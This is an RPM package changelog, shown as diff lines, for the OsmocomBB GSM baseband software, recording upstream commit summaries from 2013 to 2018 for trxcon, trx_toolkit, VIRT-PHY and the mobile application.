+Sun Sep 16 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1537105889.b4294471:
+ * lua: Expose API to trigger a network reselection
+ * Add includes so the file can be included by itself
+ * Install to /bin as it doesn't require special privileges..
+
+-------------------------------------------------------------------
+Sat Sep 15 20:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1537038731.7d06c78b:
+ * trxcon/scheduler: add TCH/H channel support
+ * trxcon/scheduler: introduce TCH/H TDMA frame mapping helpres
+ * trxcon/scheduler: introduce TDMA frame math helpers
+ * trxcon/scheduler: fix: don't send BFI in GSM48_CMODE_SIGN mode
+ * trxcon/scheduler.h: share FRAME_DURATION_uS definition
+
+-------------------------------------------------------------------
+Tue Sep 11 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1536322704.3d62aa72:
+ * trxcon/l1ctl.c: refactor Timing Advance handling
+
+-------------------------------------------------------------------
+Fri Sep 07 20:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1536310939.05d88069:
+ * trx_toolkit/fake_trx: drop Timing Advance range limitation
+ * trxcon/trx_if.c: drop Timing Advance range limitation
+ * common/l1ctl.c: fix: use signed type for TA in l1ctl_tx_param_req()
+ * trxcon/trx_if.c: drop unused SETPOWER and ADJPOWER
+ * trxcon: distinguish between unimplemented and unknown messages
+ * firmware/l23_api.c: cosmetic: use proper format specifier
+ * trxcon/l1ctl.c: fix: handle ARFCN from L1CTL_DM_EST_REQ
+
+-------------------------------------------------------------------
+Thu Sep 06 20:02:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1536243367.fcfe20d3:
+ * layer23: Use osmo_sock_unix_init_ofd() from libosmocore
+ * osmoload: Use osmo_sock_unix_init_ofd() from libosmocore
+ * osmocon: Use osmo_sock_unix_init_ofd() from libosmocore
+ * osmocon: Add --enable-{werror,sanitize} configure flags
+ * trxcon/trx_if.c: use proper format specifiers
+ * trxcon: avoid arfcn / band_arfcn naming confusion
+ * trxcon/l1ctl.c: print timeslot number from L1CTL_DM_EST_REQ
+ * trxcon/l1ctl.c: drop meaningless 'tn > 7' checks
+
+-------------------------------------------------------------------
+Mon Aug 27 20:02:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1535367800.1f578082:
+ * cosmetic: add commandline help
+ * cosmetic: fix typo
+
+-------------------------------------------------------------------
+Fri Aug 24 12:15:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1535106921.90a9ac41:
+ * Allow lua code to register a fd for reading with the runtime
+ * Forget about the callback after use and cancellation
+ * osmocon: fix read buffer overrun in romload_prepare_block()
+ * osmo_mcast_sock: make sure SO_REUSEADDR is applied
+ * jenkins.sh: Don't only build-verify layer23 but all other host programs, too
+
+-------------------------------------------------------------------
+Thu Aug 23 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1535028776.677a0f81:
+ * osmocon: fix use of an initialized variable
+
+-------------------------------------------------------------------
+Sat Aug 18 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1534526579.316f22f0:
+ * trxcon/sched_clck.c: fix time delta calculations
+
+-------------------------------------------------------------------
+Wed Aug 15 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1534300328.347406ce:
+ * trxcon/scheduler: get rid of useless lchan->rsl_mode
+ * trxcon/scheduler: fix: properly generate BFI for TCH/H
+ * trxcon/scheduler: pass lchan to sched_bad_frame_ind()
+ * trxcon/sched_prim.c: properly handle both TCH/H and FACCH/H prims
+ * trxcon/sched_prim.c: refactor prim dequeuing logic
+ * trxcon/sched_trx.h: add missing parentheses to PRIM_IS_*
+
+-------------------------------------------------------------------
+Sat Aug 11 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1533996631.d4fb4fde:
+ * layer23: Replace all instances of strncpy() by osmo_strlcpy
+ * layer23: Fix possible buffer overflow writing NUL beyond end of string
+ * layer23: Use osmo_strlcpy() to avoid non-terminated strings
+ * layer23: Fix compiler warnings about string operation truncation
+ * layer23: Fix compiler warning about snprintf buffer too small
+ * layer23: fix unaligned store in osmo_send_l1()
+ * layer23: Add --enable-sanitize and --enable-werror configure flags
+
+-------------------------------------------------------------------
+Sun Aug 05 20:02:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1533162649.a50d3fff:
+ * trx_toolkit/fake_trx: introduce basic path loss simulation
+ * trx_toolkit/burst_fwd.py: separate burst preprocessing
+
+-------------------------------------------------------------------
+Sat Jul 28 20:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532719349.488f92d8:
+ * trxcon: make both Valgrind and trxcon happy
+
+-------------------------------------------------------------------
+Tue Jul 24 20:03:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532445853.8f6909a9:
+ * trxcon/scheduler: fix: check primitive len before encoding
+ * Move from libc random() to osmo_get_rand_id (2nd attempt)
+
+-------------------------------------------------------------------
+Sat Jul 21 20:02:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532106898.fd33dcc2:
+ * trx_toolkit/trx_sniff.py: fix memleak: don't store packets
+ * mobile: use osmo_init_logging2 with proper talloc context
+
+-------------------------------------------------------------------
+Tue Jul 17 20:02:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531778998.a0eef8d2:
+ * Revert "Move from libc random() to osmo_get_rand_id"
+
+-------------------------------------------------------------------
+Mon Jul 16 20:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531725086.70a50a33:
+ * trxcon: fix tail bits at the front of Access burst
+
+-------------------------------------------------------------------
+Thu Jul 12 20:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531343591.6d49b049:
+ * Move from libc random() to osmo_get_rand_id
+
+-------------------------------------------------------------------
+Sat Jul 07 20:05:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1530897060.c36dc296:
+ * calypso: Print warning about unsupported encryption algorithms
+
+-------------------------------------------------------------------
+Thu Jul 05 20:04:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1529259777.ce772ce3:
+ * lua: Add API to enable passing credentials
+
+-------------------------------------------------------------------
+Wed Jun 13 18:39:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1528890497.ac37f55b:
+ * osmoload: Set compiler attr to unused function
+ * osmocon: Set compiler attr to unused variables
+ * osmocon: Fix printf format
+ * osmoload: Remove duplicate const keyword
+ * osmocon: Call osmo_init_ignore_signals at startup
+ * trf6151: Actually fix setting of uplink ARFCN
+
+-------------------------------------------------------------------
+Thu Jun 07 18:23:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1528087825.fcb420d5:
+ * mobile/sms: Make it optional to store the SMS on disk
+ * mobile/sms: Simplify the string format routines
+ * mobile/sms: Fix memory leak in case the storage can not be opened
+ * mobile: Make time spent in c7 configurable
+ * osmocon: Makefile.am: Fix build using different path
+ * Remove the patches for Wireshark
+ * README.development: add brief info about the TRX Toolkit
+ * README.development: cosmetic: correct/add wiki links
+ * README.building: cosmetic: correct wiki links
+ * include/osmocore: remove unused headers
+ * VIRT_PHY: add missing L1CTL_BURST_IND to l1ctlPrimNames
+ * trxcon: Prefix SACCH fill frame with L1 header
+ * host/trxcon: track talloc NULL contexts by default
+ * host/trxcon: don't free root talloc context
+ * host/trxcon: use osmo_init_logging2()
+
+-------------------------------------------------------------------
+Sun Apr 08 08:09:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1523122524.05d95a46:
+ * host/trxcon: introduce a new 'trxcon' application
+ * host/trxcon: initial release of L1CTL interface
+ * host/trxcon: initial release of transceiver interface
+ * host/trxcon: fix NULL-pointer deference
+ * host/trxcon/trx_if.c: add ECHO command
+ * host/trxcon: integrate osmo-fsm framework
+ * host/trxcon: initial release of L1CTL handlers
+ * host/trxcon/scheduler: add basic clock counter
+ * host/trxcon/trx_if.c: handle clock indications
+ * host/trxcon/scheduler: add basic GSM PHY definitions
+ * host/trxcon/scheduler: implement management functions
+ * host/trxcon/scheduler: handle bursts from TRX interface
+ * host/trxcon: store arfcn and band in trx_instance
+ * host/trxcon: handle ccch_mode from L1CTL_FBSB_REQ
+ * host/trxcon: link trxcon against libosmocoding
+ * host/trxcon/scheduler: implement xCCH decoding
+ * host/trxcon/scheduler: implement SCH decoding
+ * host/trxcon: bind L1CTL link with TRX and vice versa
+ * host/trxcon: handle L1CTL_FBSB_REQ inside l1ctl.c
+ * host/trxcon: handle L1CTL_RESET_REQ inside l1ctl.c
+ * host/trxcon: send L1CTL_DATA_IND directly from lchan handler
+ * host/trxcon/scheduler: fix channel deactivation
+ * host/trxcon/l1ctl.c: implement L1CTL_FBSB_CONF
+ * host/trxcon/l1ctl.c: implement L1CTL_CCCH_MODE_{REQ/CONF}
+ * host/trxcon/scheduler: drop resolved FIXME label
+ * host/trxcon: reset scheduler when L1CTL is lost
+ * target/fake_trx: initial release of virtual transceiver
+ * fake_trx/burst_fwd.py: append two unused bytes at the end
+ * host/trxcon/trx_if.c: fix compatibility with OsmoTRX
+ * host/trxcon/trx_if.c: use proper names for burst handlers
+ * host/trxcon/trx_if.c: expose the trx_if_tx_burst()
+ * host/trxcon/scheduler: modify trx_lchan_tx_func definition
+ * host/trxcon/scheduler: store BSIC in trx_instance
+ * host/trxcon/scheduler: implement TX queue handling
+ * host/trxcon/scheduler: implement RACH handler
+ * host/trxcon/l1ctl.c: handle L1CTL_RACH_REQ
+ * host/trxcon/scheduler: confirm successful RACH requests
+ * host/trxcon/trx_if.c: simplify response matching
+ * host/trxcon/trx_if.c: add power measurement command
+ * fake_trx: fix copy-paste error
+ * fake_trx/ctrl_cmd.py: print response to stdout
+ * fake_trx/ctrl_if.py: allow adding custom params to response
+ * fake_trx: implement power measurement emulation
+ * host/trxcon/l1ctl.c: handle L1CTL_PM_REQ correctly
+ * fake_trx: handle SETSLOT command from BB
+ * host/trxcon/scheduler: notify transceiver about TS state
+ * fake_trx: implement simple freq. filter
+ * host/trxcon/l1ctl.c: fix incomplete msg in l1ctl_tx_fbsb_conf()
+ * host/trxcon/l1ctl.c: fix L1CTL_RACH_{REQ,CONF} handling
+ * host/trxcon/l1ctl.c: implement FBSB expire timer
+ * host/trxcon/scheduler: fix TS index in sched_trx_configure_ts()
+ * host/trxcon/l1ctl.c: handle L1CTL_DM_{EST,REL}_REQ
+ * host/trxcon/scheduler: implement xCCH TX capability
+ * host/trxcon/l1ctl.c: handle L1CTL_DATA_REQ
+ * fake_trx: fix compatibility with Python 3
+ * host/trxcon/scheduler: implement TSC selection
+ * host/trxcon/scheduler: confirm xCCH data sending
+ * host/trxcon/scheduler: add a reference to GSM 05.02
+ * host/trxcon: share trxcon fsm and talloc ctx via trxcon.h
+ * host/trxcon: split sched_lchan_handlers.c
+ * host/trxcon/trx_if.c: get rid of CLCK interface
+ * fake_trx: don't send clock indications to mobile stations
+ * host/trxcon/l1ctl.c: handle L1CTL_PARAM_REQ
+ * host/trxcon/l1ctl.c: reset FBSB expire timer on shutdown
+ * host/trxcon: get rid of useless trxcon fsm events
+ * host/trxcon: don't flush trx control messages on reset
+ * host/trxcon: get rid of useless TRX_EVENT_RESET_IND
+ * host/trxcon/scheduler: implement sched_clck_reset()
+ * host/trxcon/scheduler: optionally reset clock counter
+ * host/trxcon: adjust default verbosity level
+ * fake_trx: add copyright message to clck_gen.py and ctrl_cmd.py
+ * fake_trx: add a new tool for burst generation
+ * host/trxcon/scheduler: simplify timeslot management
+ * host/trxcon/scheduler: fix possible NULL deference
+ * host/trxcon/scheduler: git rid of sched_trx_find_ts()
+ * host/trxcon/scheduler: use 'tn' instead of 'ts_num'
+ * host/trxcon/scheduler: drop a meaningless FIXME label
+ * host/trxcon/scheduler: ignore incomplete sets of bursts
+ * host/trxcon/scheduler: fix chan_nr parsing
+ * host/trxcon/scheduler: pass trx_lchan_state to lchan handlers
+ * host/trxcon/scheduler: get rid of useless nbits argument
+ * host/trxcon/l1ctl.c: make l1ctl_tx_data_ind flexible
+ * host/trxcon/scheduler: share common code for lchan handlers
+ * host/trxcon/scheduler: clean up some includes
+ * fake_trx: add options to specify fn, tn and pwr
+ * fake_trx: separate DataInterface from burst_gen.py
+ * fake_trx: whitespace fix
+ * host/trxcon/l1ctl.c: do nothing if CCCH mode matches
+ * host/trxcon: separate logging of L1 Control and L1 Data
+ * host/trxcon/l1ctl.c: fix wrong log level
+ * host/trxcon/scheduler: send stored tx_power to transceiver
+ * host/trxcon/l1ctl.c: retune TRX only if current ARFCN differs
+ * host/trxcon/l1ctl.c: don't fill l1ctl_info_ul into a primitive
+ * host/trxcon/l1ctl.c: share primitive management code
+ * host/trxcon/l1ctl.c: use primitive management API for RACH
+ * host/trxcon/l1ctl.c: include DL frame info in L1CTL_DATA_CONF
+ * host/trxcon/l1ctl.c: handle L1CTL_TCH_MODE_REQ
+ * host/trxcon/scheduler: share common declarations of lchan handlers
+ * host/trxcon/scheduler: fix prim queue flushing function
+ * host/trxcon/trx_if.c: fix wrong logging category
+ * host/trxcon: use LOGP instead of fprintf
+ * host/trxcon/trx_if.c: separate logging of data messages
+ * host/trxcon/scheduler: separate logging of data messages
+ * host/trxcon: fix: use valid names for FSM instances
+ * fake_trx/ctrl_cmd.py: add help and basic command line options
+ * fake_trx/README: correct the branch name
+ * fake_trx/burst_gen.py: remove unused import
+ * fake_trx: implement a new tool for burst sending
+ * fake_trx: correct brief descriptions of files
+ * host/trxcon/scheduler: process frames in advance
+ * host/trxcon/trx_ic.c: use osmo_ubit2sbit() from libosmocore
+ * host/trxcon/trx_if.c: get rid of useless commands
+ * host/trxcon: forward Timing Advance value to transceiver
+ * fake_trx/clck_gen.py: send the first indication immediately
+ * fake_trx/clck_gen.py: reset the clck_src when calling stop()
+ * fake_trx: don't sent clock indications until POWERON
+ * host/trxcon/scheduler: use new libosmocoding API for RACH
+ * host/trxcon/scheduler: clean up the trx_lchan_state
+ * host/trxcon/scheduler: drop meaningless memset call
+ * host/trxcon/scheduler: use GSM_MACBLOCK_LEN definition
+ * common/l1ctl.c move TCH bit-ordering to the firmware
+ * host/trxcon/l1ctl.c: handle L1CTL_TRAFFIC_REQ
+ * host/trxcon/scheduler: add initial TCH/F channel support
+ * host/trxcon/scheduler: inform L2&3 about decoding errors
+ * host/trxcon/scheduler: always print error messages
+ * trxcon/scheduler: BUGFIX: distinguish between SACCH and FACCH
+ * trxcon/scheduler: separate primitive management code
+ * trxcon/scheduler: move prim management outside lchan handlers
+ * trxcon/scheduler: prioritize FACCH correctly
+ * L1CTL/L1CTL_CRYPTO_REQ: add key length and channel info
+ * trxcon/scheduler: preprocess UL bursts before sending
+ * trxcon/scheduler: implement A5/X ciphering support
+ * trxcon/scheduler: FIX: return NULL from TCH dequeue function
+ * trxcon/scheduler: share chan / prim identification helpers
+ * trxcon/scheduler: reset lchan state after deactivation
+ * trxcon/scheduler: deactivate lchans when resetting / deleting TS
+ * trxcon/scheduler: use linuxlist API for lchan management
+ * trxcon/scheduler: drop meaningless TODO comment
+ * trxcon/scheduler: use TCH frame length defs from libosmocodec
+ * fake_trx/burst_send.py: indicate actual burst source
+ * fake_trx: implement a new tool for TRX protocol sniffing
+ * fake_trx: share and use common GSM constants
+ * fake_trx: implement classes for DATA messages
+ * fake_trx/data_msg.py: implement header randomization
+ * fake_trx/data_msg.py: handle bursts properly
+ * fake_trx/data_msg.py: implement header description
+ * fake_trx/burst_gen.py: check argv separately
+ * fake_trx/burst_gen.py: don't store RandBurstGen
+ * fake_trx: use DATAMSG classes for DATA messages
+ * fake_trx/burst_gen.py: also handle RSSI and ToA values
+ * fake_trx/burst_send.py: also handle RSSI and ToA values
+ * fake_trx/burst_send.py: handle both GSM and EDGE bursts
+ * fake_trx: implement classes for DATA capture menagement
+ * fake_trx/trx_sniff.py: use DATADumpFile for capture writing
+ * fake_trx/burst_gen.py: add burst capture support
+ * fake_trx/burst_send.py: implement DATA capture support
+ * fake_trx/data_dump.py: use 2 bytes to store message length
+ * mobile: Fix memory leak when not using a LUA script
+ * trxcon|fake_trx: change default TRX port number to 6700
+ * fake_trx/udp_link.py: close socket in destructor
+ * fake_trx/udp_link.py: drop useless UDPLink.loop() API
+ * fake_trx/udp_link.py: set SO_REUSEADDR socket option
+ * fake_trx/data_msg.py: implement message transformation API
+ * fake_trx/burst_fwd.py: use DATAMSG transformation API
+ * fake_trx/data_msg.py: fix python3 compatibility in tests
+ * fake_trx/data_dump.py: fix python3 compatibility
+ * fake_trx/data_msg.py: use a single unified constructor
+ * fake_trx/burst_fwd.py: drop useless set_slot() method
+ * fake_trx/data_msg.py: use integer math for ToA
+ * fake_trx/data_msg.py: implement ToA parsing support
+ * fake_trx: handle SETTA (Timing Advance) indicated by MS
+ * fake_trx/burst_fwd.py: calculate both RSSI and ToA separately
+ * fake_trx/burst_fwd.py: disable field randomization by default
+ * fake_trx/fake_trx.py: add options to enable field randomization
+ * fake_trx/ctrl_if_(bb|bts).py: add FAKE_TOA command
+ * fake_trx/burst_fwd.py: FIX: apply TA value correctly
+ * trxcon: Define event names for osmo_fsm's
+ * fake_trx: Always send control responses to where commands are from
+ * fake_trx: Send positive response to FAKE_TOA commands
+ * fake_trx: Increase TOA256 value ranges
+ * trxcon: Fix '-i' to specify the "TRX IP address"
+ * fake_trx/ctrl_if_(bb|bts).py: log link info at start-up
+ * host/trxcon: use integer math for ToA (Timing of Arrival)
+ * fake_trx/ctrl_if.py: remove forgotten debug print
+ * fake_trx/ctrl_if.py: reduce code branch nasting
+ * fake_trx/ctrl_if.py: remove incorrect isdigit() check
+ * fake_trx/udp_link.py: use a random bind port by default
+ * fake_trx/ctrl_cmd.py: use a random bind port by default
+ * trxcon/configure.ac: add --enable-sanitize option
+ * trxcon/sched_trx.c: fix: properly deallocate lchans
+ * trxcon/sched_trx.c: fix: omit inactive logical channels
+ * trxcon/sched_trx.h: clarify lchan flags meaning
+ * trxcon/scheduler: introduce a new CBTX lchan flag
+ * trxcon/scheduler: transmit dummy frames on CBTX lchans
+ * trxcon: use meaningful names for L1CTL messages
+ * trxcon: clarify L1CTL message length field
+ * trxcon/l1ctl_link.c: allocate msgb after its length is read
+ * trxcon/l1ctl.c: combine both DATA and TRAFFIC REQ handlers
+ * trxcon: clean up DATA / TRAFFIC confirmation API
+ * trxcon: clean up DATA / TRAFFIC indication API
+ * trxcon/sched_lchan_common.c: use static memory allocation
+ * trxcon/scheduler: enforce lchan handlers to set message type
+ * trxcon/sched_lchan_xcch.c: always send data indications
+ * trxcon/sched_lchan_tchf.c: always send traffic indications
+ * fake_trx: unify the GPL license header
+ * Rename 'fake_trx' to 'trx_toolkit'
+ * L1CTL/L1CTL_CRYPTO_REQ: add key length and channel info
+ * common/l1ctl.c move TCH bit-ordering to the firmware
+ * virt_phy: Add missing gprs related entries to l1ctlPrimNames
+ * trxcon/sched_prim.c: fix: correct the first padding byte
+ * trxcon/scheduler: share lchan link identifiers
+ * trxcon/scheduler: add CHAN_IS_SACCH macro
+ * trxcon: Respect the tch_mode field of DM_EST_REQ
+ * trx_toolkit: Add cmdline arg to set bind addr
+ * trxcon/l1ctl.c: hexdump content of unhandled messages
+
+-------------------------------------------------------------------
+Sat Feb 10 16:21:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1518266180.af4bad31:
+ * mobile/primitives.c: fix format string compiler warning
+ * layer23/cell_log: set default logfile to /dev/null
+
+-------------------------------------------------------------------
+Tue Feb 06 19:07:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1517900717.e357646e:
+ * Import gprsdecode utility from SRLabs
+ * l1ctl_proto.h: define burst indication messages
+
+-------------------------------------------------------------------
+Fri Feb 02 20:30:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1516638834.75e11d1d:
+ * Don't ignore top-level Makefile
+ * cosmetic: fix Makefile whitespace
+ * mobile: Print an error message if the VTY cannot be initialized
+ * mobile: Add lua examples for basic functions that are available
+ * mobile: Properly close the primitive interface on reload
+ * mobile: Send SMS through the primitive interface
+ * mobile/vty_interface.c: fix 'channel-capability' description
+ * mobile/gsm48_rr.c: cosmetic: drop wrong comment
+ * mobile/gsm48_rr.c: fix ACCH System Information parsing
+ * target/firmware: fix Mediatek firmware compilation
+ * mobile: Return the name of the configured "MS"
+ * mobile: Simplify code and check the cb ref in load_cb
+ * mobile: Use new LOGPSRCC macro to print multiple values
+ * mobile: Create "ms" singleton for struct osmocom_ms
+ * mobile: Add osmo.timeout for lua code to have timeouts
+ * mobile: Add initial support for scripting support
+ * mobile: Add LUA as debug category to the applications
+ * mobile: Search for lua5.3 and link to it
+ * mobile: Notify MM status changes and generate primitive op ind
+ * mobile: Inform the primitive layer about status and new sms
+ * mobile: Directly inform the primitive layer about an event
+ * mobile: Begin with a primitive interface on top of the code
+ * mobile: Move starting/stopping a MS into a separate function
+ * mobile: Declare struct osmocom/vty to be self includeable
+ * mobile: Fix compiler warning on printing ptrdiff_t
+ * mobile: Use enum and not magic value in the VTY
+ * mobile: Re-introduce msg_ref in struct gsm_sms
+ * mobile: ms->shutdown was not converted properly to enum
+ * mobile: Speculative crash fix of the SI pointer
+ * mobile: Avoid msg_ref going out of sync
+ * mobile: Change started and shutdown state through function
+ * mobile: Instead of putting semantic in a comment, use an enum
+ * mobile: Use bool to show started can only be true or false
+ * mobile: Switch from printf to LOGP statements
+ * mobile/vty_interface.c: fix Kc / Ki confusion
+ * layer23 vty: fix prompts: insert space after '#'
+ * mobile: Make VTY logging commands available to the mobile app
+ * mobile/gsm322.c: prevent buffer over-/under-run
+ * mobile/gsm322.c: prevent calling memset() with zero length
+ * mobile: Do not exclude DGPS from the list of default categories
+ * vty: skip installing cmds now always installed by default
+ * host/mobile: use osmocom_ms as talloc context
+ * mobile: get rid of unused variables / functions
+ * mobile/gsm411_sms.c: use secure gsm_7bit_(en|de)code_n
+ * mobile/gsm48_mm.c: use secure gsm_7bit_decode_n
+ * mobile/gsm480_ss.c: use secure gsm_7bit_(en|de)code_n_ussd
+ * mobile/vty_interface.c: fix incompatible pointer type warning
+ * mobile/main.c: fix deprecated call to msgb_set_talloc_ctx()
+ * mobile/vty_interface.c: add missing 'vty/misc.h' header
+ * jenkins: use osmo-clean-workspace.sh before and after build
+ * mobile: register the talloc context introspection command
+ * mobile: clean up and share example configs
+ * mobile/vty_interface.c: do not write 'exit' to config
+ * mobile/vty_interface.c: do not install default commands
+ * mobile/main.c: clean up config file selection logic
+ * Add arbitrary config file location support
+ * Add 'git review' config file
+ * VIRT-PHY: Add support for GPRS / TBF mode
+ * VIRT-PHY: virt_l1_sched: Pass timeslot number into call-back
+ * VIRT-PHY: Support forwarding of CBCH similar to BCCH/CCCH
+ * virtphy: Add SIGINT+SIGTERM handlers
+ * vty_interface.c: use RPLMN from settings if preset
+ * VIRT-PHY: enable proper memory leak debugging
+ * VIRT-PHY: We don't do line-breaks inside log statements
+ * VIRT-PHY: Properly destroy l1_model_ms after disconnect
+ * VIRT-PHY: Change default log levels
+ * VIRT-PHY: Clean up logging statements
+ * VIRT-PHY: Separate logging of L1 Control and L1 Data
+ * VIRT-PHY: Log MS context number whenever possible
+ * VIRT-PHY: Major rewrite to deal with muliple L1CTL clients
+ * VIRT-PHY: Don't redefine GSMTAP port number, use libosmocore
+ * VIRT-PHY Use libosmocore unix domain socket helper
+ * VIRT-PHY: reorganize data structures
+ * VIRT-PHY: some more comments/documentation
+ * VIRT-PHY: Use IPv4 multicast groups for private / local scope
+ * VIRT-PHY: Use osmo_fd_close() introduced in libosmocore
+ * VIRT-PHY: Use new OSMO_SOCK_F_NO_MCAST_{LOOP,ALL} flags
+ * VIRT-PHY mcast_sock: Use uint16_t for ports, bool and const
+ * VIRT-PHY: mcast_sock: properly clean up in error paths (close/unreg socket)
+ * VIRT-PHY: Further simplify mcast_sock code
+ * VIRT-PHY: mcast_sock: We must close the fd before setting it to -1
+ * VIRT-PHY: mcast_sock: Don't keep subscribed multicast group around
+ * VIRT-PHY: mcast_sock: Avoid dynamic allocation of osmo_fd member
+ * VIRT-PHY: osmo_mcast_sock: Get rid of server_sock.sock_conf
+ * VIRT-PHY: osmo_mcast_sock.c coding style cleanup
+ * Port osmo_mcast_sock to libosmocore socket routines
+ * VIRT-PHY: Use gsmtap value_strings in recent libosmocore
+ * VIRT-PHY: common_util: chantype_gsmtap2rsl() now in libosmocore
+ * VIRT-PHY: Fix all compiler warnings on gcc-6.3.0
+ * VIRT-PHY: Make sure heaer files are part of 'make dist'
+ * VIRT-PHY: coding style / API usage cleanup
+ * VIRT-PHY: Remove non-overridable CFLAGS "-g -O0"
+ * VIRT-PHY: Configurable signal power reductions for multiple arfcns.
+ * VIRT-PHY: Extracted common virtphy utils.
+ * VIRT-PHY: Added option parsing.
+ * VIRT-PHY: Add downlink filter for msg on dedicated channels.
+ * VIRT-PHY: Fixed power management and PCS sync.
+ * VIRT-PHY: Fixed FACCH processing on TCH.
+ * VIRT-PHY: Scheduler - correct handling over hyperframe repeat.
+ * VIRT-PHY: Calculate correct scheduler fn for data- and tch-msgs on ul.
+ * VIRT-PHY: Fixed error causing send msgs to be received on same sock.
+ * VIRT-PHY: Data and traffic req from l23 now use scheduler.
+ * VIRT-PHY: Using IANA-registered port 4729 for GSMTAP for virt um.
+ * VIRT-PHY: Uplink scheduler implementation.
+ * VIRT-PHY: Uplink flag and arfcn check.
+ * VIRT-PHY: Added example config for 2 mobile instances.
+ * VIRT-PHY: Enable multiple phy-instances by configurable l1ctl-sock-path.
+ * VIRT-PHY: Cleanup dirs, makefile, dependencies and formatting code.
+ * VIRT_PHY: Improved l1ctl-to-l23 interface + gsmtap header parsing.
+ * VIRT-PHY: Implemented RACH on uplink.
+ * VIRT-PHY: Initial commit of virt-phy to work with osmo-bts virt-phy.
+ * host/mobile: use talloc for ms->name allocation
+ * Makefile: add forgotten gsmmap to (dist)clean section
+ * mobile/gsm48_mm.c: strip unused variable
+ * mobile/gsm480_ss.c: gsm480_mmss_ind: return rc
+ * mobile/gsm48_rr.c: fix BA range exceed check
+ * mobile/gsm480_ss.c: fix copy-paste error
+ * mobile/gsm322.c: fix mcc/mnc typo
+ * mobile/gsm322.c: check fwrite() return value
+ * host/app_mobile.c: do not exit in mobile_new()
+ * sap_interface.c: drop meaningless condition
+ * osmocon.c: strip unused variable
+ * Introduce contrib/jenkins.sh to enable gerrit verification[1]
+ * Support Early Classmark Sending
+ * Fix encoding of padding at end of CLASSMARK 3 IE
+ * mobile.c: Don't register 'end' command to CONFIG_NODE
+ * mobile: Finally fix copyright notice
+ * Revert "trf6151: Fix setting of uplink ARFCN"
+ * define 'fprintf(stderr,' as a wrapper around printf(
+ * Add an endian.h file as one step to build against later libosmocore
+ * Add libosmocore/build-target/include to include path
+ * fix various other compiler warnings
+ * cfi_flash.c: Fix various format string compiler warnings
+ * trf6151: Fix setting of uplink ARFCN
+ * Avoid redefining __{packed,aligned,unused,section}
+- Package cleanup
+
+-------------------------------------------------------------------
+Wed Jan 4 18:37:30 UTC 2017 - mardnh@gmx.de
+
+- Build firmware only on intel plaforms (i586, x86_64)
+
+-------------------------------------------------------------------
+Wed Dec 28 21:03:21 UTC 2016 - mardnh@gmx.de
+
+- Add patches (only apply the first one)
+ + osmocom-bb-gps-type-serial-android-a3-NMEA-GPGGA-disabled-checksum.diff
+ + osmocom-bb-gps-type-serial-android-a3-NMEA-GPGLL.diff
+ + osmocom-bb-gps-type-serial-locosys-bgt31-NMEA-GPGGA.diff
+
+-------------------------------------------------------------------
+Sat Feb 20 22:08:34 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1453250507.ce3c88e:
+ + mobile: Fix for "Added runtime selection of gps device"
+ + host/mobile: Improved SAP interface integration
+ + fw: fix SPCA552 write timing
+
+-------------------------------------------------------------------
+Thu Dec 31 13:39:34 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1451567560.ef0d8ec:
+ + cleanup some compile warnings
+ + autoconf: Migrate from INCLUDES to AM_CPPFLAGS
+ + modernize AM_INit_AUTOMAKE
+
+-------------------------------------------------------------------
+Mon Sep 21 07:30:09 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1437477556.8a2e935:
+ + layer1: fix chan_nr2mf_task_mask for TCH/H channel
+
+-------------------------------------------------------------------
+Tue Jul 14 18:23:23 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1430229474.fc20a37:
+ + host/mobile: Finish working support for the SAP interface
+
+-------------------------------------------------------------------
+Fri Dec 19 20:22:13 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1410040035.e6372a2:
+ + host/mobile: Fix trans_assign_trans_id() users error checking
+ + host/osmocon: fix some printf format specifier in handle_write_dnload
+ + host/mobile: Fixup in error checking path of l23_app_init
+ + host/mobile: Add 'extern' qualifier to config_dir in app_mobile.h
+ + osmocon: Improve performance by handling several serial bytes at a time
+ + Fix wrong msgb_pull usage
+ + mobile/SS: Fixed bug in parsing of known supplemenary service codes
+ + fw: tell linker to add init_array to ctor section
+ + mobile: Use osmocom auth API instead of direct calls
+ + layer23: initialize l2h/l3h pointers in rx_l1_rach_conf
+
+-------------------------------------------------------------------
+Thu Dec 26 22:27:03 UTC 2013 - mardnh@gmx.de
+
+- update to version git.1387866838.2d0a5ac
+
+-------------------------------------------------------------------
+Mon Aug 26 18:36:57 UTC 2013 - mardnh@gmx.de
+
+- initial package written from scratch
+
